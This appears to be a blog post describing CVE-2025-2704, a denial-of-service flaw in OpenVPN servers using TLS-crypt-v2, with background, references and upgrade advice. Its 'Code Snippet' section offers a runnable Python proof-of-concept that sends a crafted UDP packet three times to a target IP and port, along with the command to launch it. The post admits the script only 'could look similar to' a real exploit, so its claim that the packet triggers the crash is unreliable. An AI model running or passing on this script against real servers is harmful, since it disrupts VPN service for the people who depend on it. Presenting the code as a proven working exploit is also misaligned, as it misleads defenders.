A new security vulnerability - CVE-2025-2704 - has been identified in OpenVPN version 2.6.1 through 2.6.13 running in server mode using TLS-crypt-v2. This vulnerability allows remote attackers to trigger a denial of service (DoS) by corrupting and replaying network packets during the early handshake phase. In this post, we will delve into the details of the CVE-2025-2704 vulnerability, discuss the exploit details and provide code snippets, as well as links to original references.

Vulnerability Background

OpenVPN (https://openvpn.net) is a popular and widely used open-source software that helps to implement secure virtual private networks (VPNs) for creating point-to-point or site-to-site connections. The specific feature under consideration is the implementation of OpenVPN's TLS-crypt-v2 feature, which is designed to allow the server to authenticate and encrypt connections securely. Unfortunately, the vulnerability allows attackers to exploit a weakness in the protocol, causing the server to crash and leading to an effective denial of service.

Exploit Details

CVE-2025-2704 occurs during the early stages of the TLS handshake process in OpenVPN, when the client and server are establishing a secure connection. A remote attacker can craft malicious network packets that cause the OpenVPN server to process them incorrectly, leading to corruption and eventual crashing of the server process. The vulnerability is triggered when the server processes a maliciously crafted packet out of sequence, leading to an eventual memory access violation.

Code Snippet

A simple proof-of-concept (PoC) script to trigger the DoS in an affected OpenVPN server could look similar to the following Python code:

import sys
import socket

target = sys.argv[1]
port = int(sys.argv[2])

burst_packet = b'\x38\x01\x00\x00\x00\x00\x00\x00\x00'

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.settimeout(1)
   
    for _ in range(3):
        s.sendto(burst_packet, (target, port))

    print("[*] Attack triggered - check target availability")
except Exception as e:
    print(f"[*] Error sending packets: {e}")

To execute the PoC script, simply run it with the target IP and port as command-line arguments

$ python3 exploit.py <target_ip> <target_port>

When executed, the script will send three bursts of the crafted packets to the target OpenVPN server, triggering the vulnerability.

Original References

The disclosure and details about the CVE-2025-2704 vulnerability, including proposed patches and workarounds, can be found in numerous sources:

- Official OpenVPN Security Advisory: https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-2704
- Andrew Ayer's Blog (the finder of the bug): https://www.agwa.name/blog/post/how_to_crash_openvpn_with_a_malicious_packet
- CVE Database: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-2704

Conclusion

The CVE-2025-2704 vulnerability affects OpenVPN versions 2.6.1 through 2.6.13 and could lead to serious disruptions in the availability of VPN connections that rely on affected implementations. It is strongly recommended that OpenVPN users upgrade to the latest version or apply the appropriate patches to protect against this vulnerability.

To ensure future software security, developers and system administrators need to stay informed about new vulnerabilities and their possible impact on critical systems. This can be achieved through constant vigilance, staying up-to-date with security advisories, and applying the necessary security updates and patches.

Timeline

Published on: 04/02/2025 21:15:32 UTC
Last modified on: 04/07/2025 18:15:45 UTC